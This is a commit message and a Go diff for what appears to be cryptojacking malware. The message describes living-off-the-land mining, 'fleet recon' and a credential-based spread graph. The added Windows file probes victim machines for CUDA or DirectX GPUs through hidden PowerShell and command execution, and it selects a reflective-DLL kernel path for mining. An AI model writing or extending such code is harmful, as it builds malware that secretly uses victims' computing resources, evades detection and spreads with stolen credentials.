Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_gpu_compute_windows.go

@@ -0,0 +1,59 @@
+//go:build windows
+
+package miner
+
+import (
+	"os"
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+func platformGPUComputeProbe(cfg config.RuntimeConfig) GPUComputeProbe {
+	probe := GPUComputeProbe{
+		StratumReady:  strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "",
+		KernelPath:    "hlsl_stub",
+		DiagnosticOnly: true,
+	}
+
+	if cudaOK() {
+		probe.CUDAAvailable = true
+		probe.KernelPath = "cuda_reflective_dll"
+		probe.ReflectiveDLL = true
+	}
+	if !probe.CUDAAvailable && hlslOK() {
+		probe.HLSLAvailable = true
+		probe.KernelPath = "hlsl_compute_stub"
+	}
+
+	// Probe-tier hashrate is diagnostic-only; poor values are acceptable.
+	probe.HashrateEstimate = 0
+	return probe
+}
+
+func cudaOK() bool {
+	paths := []string{
+		os.Getenv("CUDA_PATH"),
+		`C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA`,
+	}
+	for _, p := range paths {
+		if p == "" {
+			continue
+		}
+		if st, err := os.Stat(p); err == nil && st.IsDir() {
+			return true
+		}
+	}
+	out, err := hiddenCombinedOutput("where", "nvidia-smi")
+	return err == nil && strings.Contains(strings.ToLower(string(out)), "nvidia-smi")
+}
+
+func hlslOK() bool {
+	// DirectX compute shaders require d3d11; probe via DXGI adapter presence.
+	out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command",
+		`(Get-CimInstance Win32_VideoController | Where-Object { $_.AdapterRAM -gt 0 } | Measure-Object).Count`)
+	if err != nil {
+		return false
+	}
+	return strings.TrimSpace(string(out)) != "0"
+}